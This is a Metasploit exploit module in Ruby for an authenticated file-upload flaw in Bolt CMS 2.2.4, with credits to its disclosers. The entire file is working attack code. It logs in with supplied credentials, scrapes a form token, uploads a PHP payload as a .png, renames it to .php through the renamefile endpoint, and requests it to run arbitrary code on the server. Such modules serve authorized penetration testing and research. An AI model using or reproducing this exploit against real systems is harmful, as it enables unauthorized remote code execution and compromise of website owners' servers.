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## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name'=> 'CMS Bolt File Upload Vulnerability', 'Description' => %q{ Bolt CMS contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 2.2.4. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Tim Coen', # Vulnerability Disclosure 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'References'=> [ ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html'] ], 'DisclosureDate'=> 'Aug 17 2015', 'Platform'=> 'php', 'Arch'=> ARCH_PHP, 'Targets' => [['Bolt 2.2.4', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI',[true, 'The base path to the web application', '/']), OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ], self.class) end def check cookie = bolt_login(username, password) return Exploit::CheckCode::Detected unless cookie res = send_request_cgi( 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt'), 'cookie'=> cookie ) if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS') return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def fname datastore['FOLDERNAME'] end def bolt_login(user, pass) res = send_request_cgi( 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'login') ) fail_with(Failure::Unreachable, 'No response received from the target.') unless res session_cookie = res.get_cookies vprint_status("#{peer} - Logging in...") res = send_request_cgi( 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'login'), 'cookie'=> session_cookie, 'vars_post' => { 'username'=> user, 'password'=> pass, 'action'=> 'login' } ) return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt') nil end def get_token(cookie, fname) res = send_request_cgi( 'method'=> 'GET', 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), 'cookie'=> cookie ) if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" / return Regexp.last_match[1] end nil end def rename_payload(cookie, payload, fname) res = send_request_cgi( 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'), 'vars_post' => { 'namespace' => 'theme', 'parent'=> fname, 'oldname' => "#{payload}.png", 'newname' => "#{payload}.php" }, 'cookie'=> cookie ) return true if res && res.code == 200 && res.body.include?('1') nil end def exploit vprint_status("#{peer} - Authenticating using #{username}:#{password}") cookie = bolt_login(username, password) fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? vprint_good("#{peer} - Authenticated with Bolt.") token = get_token(cookie, fname) fail_with(Failure::Unknown, 'No token found.') if token.nil? vprint_good("#{peer} - Token \"#{token}\" found.") vprint_status("#{peer} - Preparing payload...") payload_name = Rex::Text.rand_text_alpha_lower(10) data = Rex::MIME::Message.new data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"") data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"') post_data = data.to_s vprint_status("#{peer} - Uploading payload...") res = send_request_cgi( 'method'=> 'POST', 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data'=> post_data, 'cookie'=> cookie ) fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302 vprint_good("#{peer} - Uploaded the payload.") rename = rename_payload(cookie, payload_name, fname) fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil? php_file_name = "#{payload_name}.php" payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name) vprint_status("#{peer} - Parsed response.") register_files_for_cleanup(php_file_name) vprint_status("#{peer} - Executing the payload at #{payload_url}.") send_request_cgi( 'uri' => payload_url, 'method'=> 'GET' ) end end |
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